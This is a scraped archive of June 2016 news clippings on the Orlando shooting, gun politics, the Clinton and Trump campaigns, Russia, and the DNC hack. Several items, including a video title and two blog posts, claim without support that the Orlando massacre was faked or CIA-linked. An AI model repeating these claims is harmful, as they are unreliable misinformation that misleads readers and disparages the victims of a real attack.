Regarding the conflicts of interest, Agresti has claimed that two of the authors of ''Fetal Pain: A Systematic Multidisciplinary Review of the Evidence'' worked in abortion clinics, and the lead author has served as a lawyer for the National Abortion and Reproductive Rights Action League, now NARAL Pro-Choice America. To this point, Bauchner writes:
With respect to the issue you raise regarding potential conflict of interest, the information we have indicates that the authors complied with the journal conflict of interest requirements in 2005. Moreover, in other published articles in which questions have been raised about whether authors have fully disclosed their affiliations and interests, those types of questions have not necessitated retraction.
You can read the entire letter from Bauchner to Agresti here.
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Hillary Supporters Can Now 'Go Public' - NYTimes.com
Wed, 15 Jun 2016 15:34
They have names like ''Wise Women for Clinton,'' ''Cool People for Hillary,'' ''Bros 4 Hillary '-- #GiveEmHill'' and one that rhymes with witch.
Some are small, with just a couple of hundred members, while others number into the thousands. All of them began as a ''secret'' '-- or, as secret as one can be with an invite-only Facebook group.
The groups are ''safe spaces,'' members say: a way to discuss policy and celebrate good news without having to defend; a place to bring up doubts about their candidate '-- What's the deal with the emails? What about her changing stance on gay marriage? '-- and work through them together with a nuance not typically afforded on the internet.
In some, members strategize about how to respond to criticisms, keeping spreadsheets of articles that correspond with each.
Others function like support groups: complete with finger snaps and Hillary cat memes and engulfing, bosom-like support.
Should any members decide to ''come out'' '-- that is, post publicly on their Facebook feed outside the group '-- they could do so knowing that they had an army of defenders, ready with ''likes,'' emoji and articles to back them up.
''It's like a secret society,'' said Ashley Kreamer, 37, a film editor in Brooklyn, who is a member of two such groups on Facebook. ''A secret society of Hillary Clinton supporters.''
For most of 2016, to be a vocal supporter of Mrs. Clinton '-- in certain circles of Bernie Sanders-supporting progressives, anyway '-- was to be the square in the Lacoste shirt cast to the corner of the hipster prom.
''I was yelled at when I wore my Hillary shirt to a grocery store in West Hollywood, possibly the most 'accepting' neighborhood in the whole world,'' said Kate Hess, a 38-year-old producer in Los Angeles.
Danielle Thomson, 34, a writer in New York, said: ''The first time I posted about Hillary, I couldn't even function for 24 hours. I kept refreshing my feed '-- sweating.''
And if you were young and for Hillary? Forget about it.
''I'm treated like a traitor to my generation,'' said 22-year-old Patrick Ross, a playwright in Philadelphia.
And those were just the people you knew in real life. Online, the vitriol was worse. Moderating comments on a single Facebook post was like ''a master class in nonviolent communication,'' said Lori White, 33, a writer at Upworthy and a founder of ''Cool People for Hillary.''
Strangers commented on your feed. Trolls spammed your wall with threats, called you ''a warmonger, a corporate whore,'' and many terms reserved for female supporters that were far worse, said Laura Bogart, a writer in Baltimore.
Older supporters were not immune either. Robert Stanton, a 53-year-old actor, had a friendship severed after he ''liked'' a photo of Mrs. Clinton and Courtney Love on Facebook. His former friend told him ''he couldn't be friends with someone for whom he had no respect, which was quite a blow,'' Mr. Stanton said.
Interactive Feature | NYT Living Newsletter Get lifestyle news from the Style, Travel and Food sections, from the latest trends to news you can use.
Martha Harrison, 24, a medical student at New York University, said she was ''pretty sure'' a guy she was dating ''broke up with me over my Clinton support.''
''I'm all for lively debate,'' said 32-year-old Andrea Gabbidon-Levene, a program manager at a community college, ''but this was something else.''
For many Clinton supporters, a result was a kind of shrinking: answering when asked, but never volunteering their support. Calling yourself ''anti-Trump'' instead of pro-Hillary, as Brandt Hamilton, 23, did. Buying Clinton swag but never wearing it. Dutifully picking up an ''I'm With Her'' bumper sticker at the local Democratic headquarters but never actually sticking it on your car.
''As opinionated as I am about movies, TV shows and the yoga world, I learned to be quiet during this primary season, '' said Mar­a Cristina Jim(C)nez, 43, a yoga instructor in Los Angeles. ''I decided it wasn't worth it. So I hid, with millions of others, in plain sight.''
Luckily for her, there was a Facebook group willing to welcome her: ''Bitches for Hillary,'' which has nearly 5,000 members, its name a play on a Tina Fey quote, ''Bitches get stuff done,'' which went viral during the 2008 primary.
There, members like Ms. Jim(C)nez could geek out over Mrs. Clinton's Wellesley speech, discuss her record on gun control, and ask how best to respond to attacks about her war record. The shared memes, photos and their favorite Hillary gear.
The group's guidelines included ''don't be a butthead'' (''If you need to disagree, focus on the substance of the argument, not the person making it'') and a nod to the complexity of the word ''bitch,'' which they say that '-- for purposes of the group '-- they treat ''as a badge of honor and pride.''
''We were tired of having to deal with Bernie splainers and Hillary haters,'' said Natalie Miller, 38, a yoga instructor outside of Washington who founded the group with a friend, an English professor.
Ms. Thomson, the New York writer who labored over her first public Facebook post, said: ''I'd liken it to how, centuries ago, women made quilts to express their political beliefs in a way that wouldn't ruffle any feathers. My secret group was an email chain '-- which is, you know, clearly the 'quilt' of our modern times.''
When Mrs. Clinton clinched the nomination last week, the journalist Ezra Klein suggested that she had relied on the ''traditionally female'' approach to politics: creating coalitions, finding common ground, winning over allies behind the scenes.
It was perhaps not so dissimilar, said the Democratic political consultant Will Robinson, to what many of these secret groups were doing. From the outside, it may have seemed that there was more enthusiasm for Mr. Sanders than Mrs. Clinton '-- his supporters saturating your Facebook feed '-- but Mrs. Clinton's supporters were there as well, albeit not shouting.
''I think sometimes being silent and not participating in the social media fights can be a form of sincere self-care,'' said Tanya Tarr, 38, a health coach and former political organizer. ''I don't want to waste my energy fighting or getting upset '-- I would rather quietly organize or go about my business getting my candidate elected.''
Mrs. Clinton is not there yet, but as she took the stage at the Brooklyn Navy Yard last Tuesday, group members said they noticed an outpouring of public support that wasn't there just days before.
''I volunteer at local Democratic HQ, and after the nomination, we had a bunch of women walk in and say: 'Is it safe now? I want to volunteer,''' said Clio Tarazi, 61, a retired urban planner in California. ''One woman broke into tears. It was all the same sort of feeling, I think, of wanting to be comforted, of wanting to know that it was 'O.K.' to be public now.''
Mr. Stanton, the actor, said: ''After Hillary clinched the nomination, I made my first public post about her. It felt good.''
Why It's Time to Repeal the Second Amendment | Rolling Stone
Wed, 15 Jun 2016 15:20
I teach the Constitution for a living. I revere the document when it is used to further socialjustice and make our country a moreinclusive one. I admire the Founders for establishing a representative democracy that has survived for over two centuries.
SidebarEverything You Need to Know About the AR-15 Used in Orlando >>But sometimes we just have to acknowledge that the Founders and the Constitution are wrong. This is one of those times. We need to say loud and clear: The Second Amendment must be repealed.
As much as we have a culture of reverence for the founding generation, it's important to understand that they got it wrong '-- and got it wrong often. Unfortunately, in many instances, they enshrined those faults in the Constitution. For instance, most people don't know it now, but under the original document, Mitt Romney would be serving as President Obama's vice president right now because he was the runner-up in the last presidential election. That part of the Constitution was fixed by the Twelfth Amendment, which set up the system we currently have of the president and vice president running for office together.
Much more profoundly, the Framers and the Constitution were wildly wrong on race. They enshrined slavery into the Constitution in multipleways, including taking the extreme step of prohibiting the Constitution from being amended to stop the slave trade in the country's first 20 years. They also blatantly wrote racism into the Constitution by counting slaves as only 3/5 of a person for purposes of Congressional representation. It took a bloody civil war to fix these constitutional flaws (and then another 150 years, and counting, to try to fix the societal consequences of them).
There are others flaws that have been fixed (such as about voting and Presidential succession), and still other flaws that have not yet been fixed (such as about equal rights for women and land-based representation in the Senate), but the point is the same '-- there is absolutely nothing permanently sacrosanct about the Founders and the Constitution. They were deeply flawed people, it was and is a flawed document, and when we think about how to make our country a more perfect union, we must operate with those principles in mind.
In the face of yet another mass shooting, now is the time to acknowledge a profound but obvious truth '' the Second Amendment is wrong for this country and needs to be jettisoned. We can do that through a Constitutional amendment. It's been done before (when the Twenty-First Amendment repealed prohibition in the Eighteenth), and it must be done now.
AR-15-style semi-automatic rifles. Scott Olson/GettyThe Second Amendment needs to be repealed because it is outdated, a threat to liberty and a suicide pact. When the Second Amendment was adopted in 1791, there were no weapons remotely like the AR-15 assault rifle and many of the advances of modern weaponry were long from being invented or popularized.
Sure, the Founders knew that the world evolved and that technology changed, but the weapons of today that are easily accessible are vastly different than anything that existed in 1791. When the Second Amendment was written, the Founders didn't have to weigh the risks of one man killing 49 and injuring 53 all by himself. Now we do, and the risk-benefit analysis of 1791 is flatly irrelevant to the risk-benefit analysis of today.
Gun-rights advocates like to make this all about liberty, insisting that their freedom to bear arms is of utmost importance and that restricting their freedom would be a violation of basic rights.
But liberty is not a one way street. It also includes the liberty to enjoy a night out with friends, loving who you want to love, dancing how you want to dance, in a club that has historically provided a refuge from the hate and fear that surrounds you. It also includes the liberty to go to and send your kids to kindergarten and first grade so that they can begin to be infused with a love of learning. It includes the liberty to go to a movie, to your religious house of worship, to college, to work, to an abortion clinic, go to a hair salon, to a community center, to the supermarket, to go anywhere and feel that you are free to do to so without having to weigh the risk of being gunned down by someone wielding a weapon that can easily kill you and countless others.
The liberty of some to own guns cannot take precedence over the liberty of everyone to live their lives free from the risk of being easily murdered. It has for too long, and we must now say no more.
Finally, if we take the gun-rights lobby at their word, the Second Amendment is a suicide pact. As they say over and over, the only way to stop a bad guy with a gun is a good guy with a gun. In other words, please the gun manufacturers by arming even the vast majority of Americans who do not own a gun.
Just think of what would have happened in the Orlando night-club Saturday night if there had been many others armed. In a crowded, dark, loud dance club, after the shooter began firing, imagine if others took out their guns and started firing back. Yes, maybe they would have killed the shooter, but how would anyone else have known what exactly was going on? How would it not have devolved into mass confusion and fear followed by a large-scale shootout without anyone knowing who was the good guy with a gun, who was the bad guy with a gun, and who was just caught in the middle? The death toll could have been much higher if more people were armed.
The gun-rights lobby's mantra that more people need guns will lead to an obvious result '-- more people will be killed. We'd be walking down a road in which blood baths are a common occurrence, all because the Second Amendment allows them to be.
At this point, bickering about the niceties of textual interpretation, whether the history of the amendment supports this view or that, and how legislators can solve this problem within the confines of the constitution is useless drivel that will lead to more of the same. We need a mass movement of those who are fed up with the long-dead Founders' view of the world ruling current day politics. A mass movement of those who will stand up and say that our founding document was wrong and needs to be changed. A mass movement of those who will thumb their nose at the NRA, an organization that is nothing more than the political wing of the country's gun manufacturers, and say enough is enough.
The Second Amendment must be repealed, and it is the essence of American democracy to say so.
Watch four pro-gun arguments we're sick of hearing.
What America's gun fanatics won't tell you - MarketWatch
Wed, 15 Jun 2016 15:13
Alexander Hamilton said a ''well-regulated militia'' would help safeguard the freedom of the new republic because it would make the creation of a professional, mercenary army ''unnecessary.''Can we please stop pretending that the Second Amendment contains an unfettered right for everyone to buy a gun? It doesn't, and it never has. The claims made by the small number of extremists, before and after the Orlando, Fla., massacre, are based on a deliberate lie.
The Second Amendment of the U.S. Constitution doesn't just say Congress shall not infringe the right to ''keep and bear arms.'' It specifically says that right exists in order to maintain ''a well-regulated militia.'' Even the late conservative Supreme Court Associate Justice Antonin Scalia admitted those words weren't in there by accident. Oh, and the Constitution doesn't just say a ''militia.'' It says a ''well-regulated'' militia.
What did the Founding Fathers mean by that? We don't have to guess because they told us. In Federalist No. 29 of the Federalist Papers, Alexander Hamilton explained at great length precisely what a ''well-regulated militia'' was, why the Founding Fathers thought we needed one, and why they wanted to protect it from being disarmed by the federal government.
The Second Amendment is an instrument of government. It's not about hunting or gun collecting or carrying your pistol into the saloon.
And there's a reason absolutely no gun extremist will ever direct you to that 1788 essay because it blows their baloney into a million pieces.
A ''well-regulated militia'' didn't mean guys who read Soldier of Fortune magazine running around in the woods with AK-47s and warpaint on their faces. It basically meant what today we call the National Guard.
It should be a properly constituted, ordered and drilled (''well-regulated'') military force, organized state by state, explained Hamilton. Each state militia should be a ''select corps,'' ''well-trained'' and able to perform all the ''operations of an army.'' The militia needed ''uniformity in '... organization and discipline,'' wrote Hamilton, so that it could operate like a proper army ''in camp and field,'' and so that it could gain the ''essential '... degree of proficiency in military functions.'' And although it was organized state by state, it needed to be under the explicit control of the national government. The ''well-regulated militia'' was under the command of the president. It was ''the military arm'' of the government.
Read:It's time for Americans to stand up to the NRA
The one big difference between this militia and a professional army? It shouldn't be made up of full-time professional soldiers, said the Founding Fathers. Such soldiers could be used against the people as King George had used his mercenary Redcoats. Instead, the American republic should make up its military force from part-time volunteers drawn from regular citizens. Such men would be less likely to turn on the population.
And the creation of this ''well-regulated militia,'' aka the National Guard, would help safeguard the freedom of the new republic because it would make the creation of a professional, mercenary army ''unnecessary,'' wrote Hamilton. ''This appears to me the only substitute that can be devised for a standing army, and the best possible security against it,'' he wrote.
That was the point. And that was why they wanted to make sure it couldn't be disarmed by the federal government: So a future ''tyrant'' couldn't disarm the National Guard, and then use a mercenary army to impose martial law.
Deadliest American mass shootings(1:57)The Founding Fathers didn't call the republic's new force an ''army'' because that term more than two centuries ago called to mind the British army, foreign mercenaries, tyrants and kings. So they said ''militia'' instead. But they meant a real body. Hamilton was scathing about the idea that the ''militia'' could just mean every Bob, Billy and Benjamin with his musket. Such amateurs would stand no chance in modern warfare against professionals, he wrote. And requiring every citizen to become a professional would be ridiculous, he said. It would be ''a real grievance to the people, and a serious public inconvenience and loss,'' he wrote. Taking people away from their work in order to train them ''would form an annual deduction from the productive labor of the country.''
Also see:U.S. investors might squeak past Brexit worries
The Second Amendment is an instrument of government. It's not about hunting or gun collecting or carrying your pistol into the saloon. The Founding Fathers left it up to us to pass sensible laws about all these things. The Constitution is about government.
Today we have a professional army, anyway. Military matters have become so complex that no part-time soldiers could do it all. So you could argue that makes the Second Amendment null and void, like the parts in the Constitution about slaves and Indians being counted as ''three-fifths'' of a person in the Census.
The Moneyologist:I inherited $15 million and it has mostly been a nightmare
But even if you still want to defend the Second Amendment, it should apply only to those who volunteer to join the ''select corps'' of their National Guard, undergo rigorous training to attain ''proficiency in military functions'' and perform the ''operations of an army,'' serve as ordered under the ultimate command of the president and be subject to military discipline.
So if you're running around waving your AK-47 under the Second Amendment, and you haven't shown up yet at your local National Guard headquarters, you're not a ''patriot.'' You're a deserter.
The right response to Donald Trump? A media blackout. - The Washington Post
Wed, 15 Jun 2016 15:06
Speaking at a rally in Greensboro, N.C., Republican presidential candidate Donald Trump told the crowd why his campaign took media credentials from Washington Post reporters. (Reuters)
Donald Trump's ban of Post journalists has left other news outlets with a stark choice: your ratings or your responsibility as journalists in a free society?
Trump's announcement that he is barring Post journalists from his events follows similar bans he put on reporters from Politico, Huffington Post, BuzzFeed, Gawker, Foreign Policy, Fusion, Univision, Mother Jones, the New Hampshire Union Leader, the Des Moines Register and the Daily Beast. Trump goons have been known to kick out undesirable reporters at Trump events.
For those journalists and media executives who still don't share the view of Post Executive Editor Martin Baron that Trump's action ''is nothing less than a repudiation of the role of a free and independent press,'' it won't be long before Trump comes for you, too.
Earlier this year, Trump said he would ''open up'' libel laws '-- in other words, dispense with the First Amendment '-- to make it easier for him to sue news outlets. He has suggested that, if president, he would use antitrust laws to harass Amazon founder Jeff Bezos, who owns The Post. And longtime Trump adviser Roger Stone has proposed that a President Trump seek retribution against CNN: ''Turn off their FCC license.''
This goes beyond even Nixonian hostility. Before Trump events, all journalists '-- blacklisted or not '-- must apply for permission to attend. They are then notified if their applications have been approved.
But there is, happily, a just and appropriate response to Trump's blacklist: a Trump blackout.
I don't mean an outright ban of Trump coverage. That would be shirking our civic responsibility. But I suggest an end to the uncritical, free publicity that propelled him to the GOP nomination in the first place:
'— No more live, wall-to-wall coverage of Trump's rallies and events; this sort of ''coverage,'' particularly by cable news outlets, has been a huge in-kind contribution to Trump.
'— No more Trump call-ins to TV shows; this enables him to plant falsehoods with little risk of follow-up.
'— Rigorous use of real-time fact-checking, pointing out Trump's falsehoods in the stories in which they're reported. That's not injecting opinion '-- it's stating fact.
Beyond that, news organizations should demand that the Republican National Committee, at next month's convention, reinstate and credential all media outlets that Trump has banned. Does the RNC want to join Trump in opposing a free press?
Politicians have long tried to freeze out critical reporters and news organizations by refusing to return phone calls or denying them questions at news conferences; I got that treatment covering George W. Bush's White House. But this is fundamentally different: If Trump were to behave this way in office, he could choose which journalists and outlets would be admitted to the White House briefing room, participate in the press pool or join presidential events.
A push-back against Trump's authoritarian actions could work, because Trump relies almost entirely on free media attention. He lacks a traditional campaign apparatus with the ability to target and mobilize voters with advertising and field organizing.
Trump won the nomination using what the British call the ''dead cat'' tactic: Throw a dead cat on the table, and that's what people will talk about. Trump kept hurling cats, thereby staying a step ahead of the media watchdogs.
In a report out Monday, Harvard University's Shorenstein Center found that eight top news outlets gave Trump the equivalent of $55 million of free advertising last year, and about two-thirds of Trump coverage was positive. Taking the news media as a whole, the center said the claim that Trump's media coverage was worth $2 billion in ads ''might well be correct.''
Shorenstein's Thomas Patterson suggests a ''corrective'' response by the media to Trump's blacklist. ''Too many journalists are hung up on the old balance of 'he said, she said' and are silent about putting their finger on the scale and saying which viewpoint has the larger weight'' of truth, he told me. ''One would hope that would change.''
That has begun to change in the past month. The focus has shifted from Trump's dead cats to serious probing of Trump's past, falsehoods and racial politics. Nobody has done this better than my colleagues at The Post '-- which is the real reason for Trump's blacklisting.
Covering Trump will be more difficult if Post reporters are denied seats on the Trump press charter and news conferences and access to Trump rallies. But their coverage will be as vigorous as before. The question is whether other news organizations will recognize that Trump's ban is not just an attack on The Post but a call to conscience for all who believe in a free press.
Twitter: @Milbank
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Lavrov: Detention of Russian fans in France violates Vienna conventions | Russia Beyond The Headlines
Wed, 15 Jun 2016 15:01
Russian Foreign Minister Sergei Lavrov. Source: Mikhail Metzel/TASS
Russian Foreign Minister Sergei Lavrov said he pointed out in a verbal message to his French counterpart that French authorities had violated their international obligations in detaining Russian football fans traveling by bus on June 14.
"It's a fact that the French acted against all of their obligations under the Vienna conventions, and I have already forwarded a relevant verbal message to the French foreign minister to demand that such violations not be allowed anymore," Lavrov said at Government Hour at the State Duma on June 15.
Lavrov described the detention of the Russian fans travelling by bus as unacceptable.
Meanwhile, he called inadmissible the conduct of certain Russian fans at UEFA Euro 2016 in France.
"It is inadmissible to behave the way some of our citizens did; they were carrying flares, some kind of fire crackers, all of which were strongly prohibited," Lavrov said.
"We know that such things are completely rejected even in Russian championships whenever fans of the kind rain on others' parade," he said.
"At the same time, we cannot ignore the attempts to disregard absolutely provocative actions of fans from other countries," the minister said.
"One cannot punch another's head anyway, but it is also inadmissible to ignore the provocateurs who are stealthily trying to create a crisis situation," the Russian foreign minister said.
French police detain group of 'organized' Russian fans for 24 hours>>>
Russian State Duma passes bill on 'Google tax'
Wed, 15 Jun 2016 14:54
Foreign companies, including intermediaries, will have to register with the tax services and pay VAT Source: Shutterstock
Russia's State Duma passed at third reading a bill that would charge 18% VAT - the so-called "Google tax" - on the sale via the Internet of electronic services, games, music, books and video products, to Russians.
Services subject to VAT will include providing, via the Internet, the rights to use computer programs, including children's games and databases, as well as online advertising services, tender offers for the purchase of goods and services, support for electronic resources, provision of domains and hosting, rights to the use of e-books, music, graphic images and videos.
Online services will not include the sale of goods if they are not delivered via the Internet, the sale of programs and databases on physical media and the provision of Internet access services.
Foreign companies, including intermediaries, will have to register with the tax services and pay VAT. They must apply for tax registration within 30 days of starting to provide the aforementioned services.
The law states that Russia will be considered to be the location in which foreign companies sell content.
Existing VAT preferences for Russian companies will be preserved.
An explanatory note to the bill states that a situation is emerging in the Russian market where Russians are finding it more advantageous to purchase this content from foreign companies as the cost of that content does not include VAT.
Duma deputies said that in international practice, in the EU, South Korea and Japan, e-services are taxed on the territory of the country where the consumer lives.
It is envisaged that the law will come into effect on January 1, 2017.
FAKE & GAY Orlando Shooting: Dirty FL Politician Jose Colom Fake Green Screen Interview - YouTube
Wed, 15 Jun 2016 14:30
Pulse Mass Casualty Event: Omar's Daddy Pictured at State Department, Hooked Up with CIA | American Everyman
Wed, 15 Jun 2016 14:20
by Scott Creighton
Here's an interesting picture for you:
That's Omar Mateen's father, Seddique Mateen, hanging out at the State Department. Here's another one of his business license he recently got from the state of Florida for his corporations known as the Provisional Government of Afghanistan. He got that on March 14th of this year.
Seddique Mateen blames the government of Pakistan for all the ills of the middle east. This is a popular opinion in the CIA since they have a much better relationship with the Pakistani military and the ISI. (source of images)
Seddique has a little TV show run out of the US. It's a propaganda rag on a network called Payam E Afghan which is owned by Omar Khetab who is reported to be a former Taliban commander who left the group in 2011 after some form of betrayal. He now supposedly works with something called Fidai Mahaz which is a Taliban splinter group which refuses to work with the puppet regime in Afghanistan.
Would kinda make sense that someone like that would hire a guy who claims to be the head of the new Provisional Government of Afghanistan.
Which brings us back around to daddy warbucks and the CIA. Just wait. You're gonna love this one.
According to Daniel Hopsicker , the network Seddique works for, Payam E Afghan, receives funding from something called Voice of America -Dari and has been pictured with a number of well connected congress-critters like Congressman Dana Rohrabacher.
''Rohrabacher was initially elected to Congress in 1988, with the fundraising help of friend Oliver North. Rohrabacher's decades-long involvement in ''all things Afghan'' eventually earned him the nickname ''Gunga Dana.'' Today he chairs the United States House Foreign Affairs Subcommittee on Europe, Eurasia and Emerging Threats.'' Hopsicker
So all of a sudden we have all the fingerprints of all these deep-state entities covering the scene at the Pulse nightclub shooting incident. Makes you kinda wonder why.
Oh wait'... there is'... this:
''Former directors of the Central Intelligence Agency, the National Security Agency, as well as several 3- and 4-star generals and admirals have launched a new effort to control the sales of guns in the United States. The effort is certain to attract attention after last weekend's deadly mass shooting in Orlando, Florida. The group, which calls itself Veterans Coalition for Common Sense, is led by former CIA Director David Petraeus, former CIA and NSA Director Michael Hayden, and US Army General (ret.) Stanely McChrystal. The group's advisory committee includes recognizable figures such as that of Admiral Eric Olson, who led US Special Operations Command from 2007 to 2011 and was the first US Navy SEAL to be appointed to four-star rank. Other advisory committee members include high-ranking veterans from every branch of the US Armed Forces, such as R. Adm. Jamie Barnett, Brig. Gen. Stephen Cheney and Air Force commander Lt. Gen. Norman Seip.
The group was formally launched at a press conference in Washington, DC, on Friday, just hours before Sunday morning's mass shooting in Orlando.'' Ian Allen
Ah. Yeah, there is that.
On one day a bunch of former CIA guys announce their new big focus group/think tank to grab all the guns and get assault weapons off the streets and the very next day there is a hugely fishy mass casualty event that unfolds with the son of a guy hooked up with the CIA which involved an assault weapon and piles of dead people.
Uh. Yeah. No. That's not obvious at all. ಠ_à²
Boys and girls. We are officially fucked.
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Filed under: American Gladio, Pulse shooting event, Scott Creighton
ORLANDO SHOOTING DAD A LONGTIME CIA ASSET - Daniel Hopsicker's MadCowNewsDaniel Hopsicker's MadCowNews
Wed, 15 Jun 2016 14:19
The father of the man who slaughtered 50 people in the Orlando nightclub shooting Saturday night is a longtime CIA asset, whose TV show receives funding from the Voice of America -Dari. Pictured below is Seddique Mateen with California Republican Congressman Dana Rohrabacher
Rohrabacher was initially elected to Congress in 1988, with the fundraising help of friend Oliver North. Rohrabacher's decades-long involvement in ''all things Afghan'' eventually earned him the nickname ''Gunga Dana.'' Today he chairs the United States House Foreign Affairs Subcommittee on Europe, Eurasia and Emerging Threats.
This morning President Obama called him a ''home-grown'' terrorist. In a series of phone interviews Monday morning, Donald Trump responded that ''there's something going on'' with the President's reaction to the Orlando shooting.
I guess even a stopped clock is right twice a day.
''It's like calling Blackwater XE''Orlando shooter Omar Mateen's father said his son was not motivated by Islamist radical ideology, but in a Facebook video posted early Monday he said, ''God himself will punish those involved in homosexuality.''
My own suspicion was first awakened on Monday morning when U.S. news outlets uniformly reported that the father's TV show aired on ''a U.S.-based Afghan satellite channel.''
That sort of circumlocution is typical when something is being hidden which the corporate media prefers we not ask questions about.
The name of the nameless Afghan satellite channel, Payam Afghan, is said to be widely-known in Southwest Asia as a CIA-Pakistani ISI construct, as this picture from Flicker shows.
The identification of shooter Omar Mateen also involved deception. He was said to work for a security company called G4S, which few have ever heard of. However, ''G4S'' is merely a re-branded ''Wackenhut Corporation,'' a name with a storied reputation for scandal in the U.S. and around the world.
Rohrabacher has stated that he sees radical Islam as the source of a major terrorist threat to the U.S. Calls to his office today to request comment on whether he views CIA assets relocated in the U.S. as a terrorist threat have not been returned.
a U.S.-based Afghan satellite channel - Google Search
Wed, 15 Jun 2016 14:18
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Rohrabacher's decades-long involvement in ''all things Afghan'' eventually ... that the father's TV show aired on ''a U.S.-based Afghan satellite channel.'' ... The name of the nameless Afghan satellite channel, Payam Afghan, ...
Trump's terrorism address, fact-checkedPolitico-Jun 13, 2016
The father even said he was running for president of Afghanistan.'' ... Mir Mateen, who hosts a show on a U.S.-based satellite network geared toward ... A recent video posted to his YouTube channel shows Seddique Mateen ...
Tribune Stations Go Dark on Dish Before Tonys, NBA FinalsBloomberg-Jun 12, 2016
... after failing to agree to terms on a new contract with the satellite TV provider. ... Tribune asked to package its cable channel WGN America with those ... About 15 percent of G4S's U.S.-based workers are re-screened each year ... Born in New York to Afghan parents, Mateen was licensed as a security ...
Is the west really destined for war with Russia?Herald Scotland-May 21, 2016
According to Michael Kofman a Russia analyst with the US based ... be using drones and satellite imagery ... it would sound like science fiction," insists Kofman. ... This, the channel explained no doubt for Washington's benefit, was a ... and nuclear terrorism for example or stabilising Afghanistan and sharing ...
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Hillary Clinton Had Secret Memo on Obama Admin 'Support' for ISIS
Wed, 15 Jun 2016 14:10
WASHINGTON, DC '-- Hillary Clinton received a classified intelligence report stating that the Obama administration was actively supporting Al Qaeda in Iraq, the terrorist group that became the Islamic State.The memo made clear that Al Qaeda in Iraq was speaking through Muhammad Al Adnani, who is now the senior spokesman for the Islamic State, also known as ISIS. Western and Gulf states were supporting the terrorist group to try to overthrow Syrian dictator Bashar al Assad, who was being propped up by the Russians, Iranians, and Chinese.
In August 2012, a ''SECRET'' classified memo was sent to various top Obama administration officials and agencies, including to the State Department and to Clinton's office personally.
''The document is an IAR, an intelligence information report,'' said Christopher J. Farrell, who serves on the board of directors of Judicial Watch, which obtained the document. ''It is produced by somebody within the Defense intelligence agency (DIA). It is reporting from the field by an intelligence agent'' who could be a U.S. government agent, a defense attach(C), or a source.
''It's a report from the field back to headquarters with some intelligence that somebody is willing to bet their career on,'' Farrell said.
Farrell confirmed that the report was sent to Clinton's office, based on the recipient marking ''RUEHC/SECSTATE WASHINGTON DC.''
The report identifies Al Qaeda in Iraq (AQI) as being one of the principal elements of the Syrian opposition, which the West was choosing to ''support.''
The intelligence report contains an extensive backgrounder on AQI and its methods and capabilities, noting that AQI was speaking through the spokesman of the Islamic State of Iraq Muhammad Al Adnani.
Al Adnani is now the chief spokesman for the current version of the Islamic State, also known as ISIS.
According to the report:
The intelligence report also predicts the rise of a broad ''Islamic State'' forming from segments of Al Adnani's group:
Al Adnani was named by the State Department as a ''Specially Designated Global Terrorist'' in 2014.
The Clinton campaign did not immediately return a request for comment on this report.
Russian government hackers penetrated DNC, stole opposition research on Trump - The Washington Post
Wed, 15 Jun 2016 13:56
Russian government hackers penetrated the computer network of the Democratic National Committee and gained access to the entire database of opposition research on GOP presidential candidate Donald Trump, according to committee officials and security experts who responded to the breach.
The intruders so thoroughly compromised the DNC's system that they also were able to read all email and chat traffic, said DNC officials and the security experts.
[Russia wants to fly more spy planes over the U.S.]
The intrusion into the DNC was one of several targeting American political organizations. The networks of presidential candidates Hillary Clinton and Donald Trump were also targeted by Russian spies, as were the computers of some Republican political action committees, U.S. officials said. But details on those cases were not available.
A Russian Embassy spokesman said he had no knowledge of such intrusions.
Some of the hackers had access to the DNC network for about a year, but all were expelled over the past weekend in a major computer cleanup campaign, the committee officials and experts said.
[Watch: Ellen Nakashima discusses how Russian hackers hit the Democratic National Committee]
The DNC said that no financial, donor or personal information appears to have been accessed or taken, suggesting that the breach was traditional espionage, not the work of criminal hackers.
The intrusions are an example of Russia's interest in the U.S. political system and its desire to understand the policies, strengths and weaknesses of a potential future president '-- much as American spies gather similar information on foreign candidates and leaders.
The depth of the penetration reflects the skill and determination of the United States' top cyber adversary as Russia goes after strategic targets, from the White House and State Department to political campaign organizations.
[Russian hackers breach some White House computers]
''It's the job of every foreign intelligence service to collect intelligence against their adversaries,'' said Shawn Henry, president of CrowdStrike, the cyber firm called in to handle the DNC breach and a former head of the FBI's cyber division. He noted that it is extremely difficult for a civilian organization to protect itself from a skilled and determined state such as Russia.
Donald Trump has repeatedly called Vladimir Putin a "strong" leader, but toes a fine line on praising the Russian president. (Peter Stevenson/The Washington Post)
''We're perceived as an adversary of Russia,'' he said. ''Their job when they wake up every day is to gather intelligence against the policies, practices and strategies of the U.S. government. There are a variety of ways. [Hacking] is one of the more valuable because it gives you a treasure trove of information.''
Russian President Vladimir Putin has spoken favorably about Trump, who has called for better relations with Russia and expressed skepticism about NATO. But unlike Clinton, whom the Russians probably have long had in their spy sights, Trump has not been a politician for very long, so foreign agencies are playing catch-up, analysts say.
''The purpose of such intelligence gathering is to understand the target's proclivities,'' said Robert Deitz, former senior councillor to the CIA director and a former general counsel at the National Security Agency. ''Trump's foreign investments, for example, would be relevant to understanding how he would deal with countries where he has those investments'' should he be elected, Deitz said. ''They may provide tips for understanding his style of negotiating. In short, this sort of intelligence could be used by Russia, for example, to indicate where it can get away with foreign adventurism.''
[The not-completely-crazy theory that Russia leaked the Panama Papers]
Other analysts noted that any dirt dug up in opposition research is likely to be made public anyway. Nonetheless, DNC leadership acted quickly after the intrusion's discovery to contain the damage.
''The security of our system is critical to our operation and to the confidence of the campaigns and state parties we work with,'' said Rep. Debbie Wasserman Schultz (D-Fla.), the DNC chairwoman. ''When we discovered the intrusion, we treated this like the serious incident it is and reached out to CrowdStrike immediately. Our team moved as quickly as possible to kick out the intruders and secure our network.''
[Debbie Wasserman Schultz's Worst Week in Washington]
Clinton called the intrusion ''troubling'' in an interview with Telemundo. She also said, ''So far as we know, my campaign has not been hacked into,'' and added that cybersecurity is an issue that she ''will be absolutely focused on'' if she becomes president. ''Because whether it's Russia, or China, Iran or North Korea more and more countries are using hacking to steal our information, to use it to their advantage,'' she said.
A spokeswoman for the Trump campaign referred questions to the Secret Service.
DNC leaders were tipped to the hack in late April. Chief executive officer Amy Dacey got a call from her operations chief saying that their information technology team had noticed some unusual network activity.
''It's never a call any executive wants to get, but the IT team knew something was awry,'' Dacey said. And they knew it was serious enough that they wanted experts to investigate.
That evening, she spoke with Michael Sussmann, a DNC lawyer who is a partner with Perkins Coie in Washington. Soon after, Sussmann, a former federal prosecutor who handled computer crime cases, called Henry, whom he has known for many years.
Within 24 hours, CrowdStrike had installed software on the DNC's computers so that it could analyze data that could indicate who had gained access, when and how.
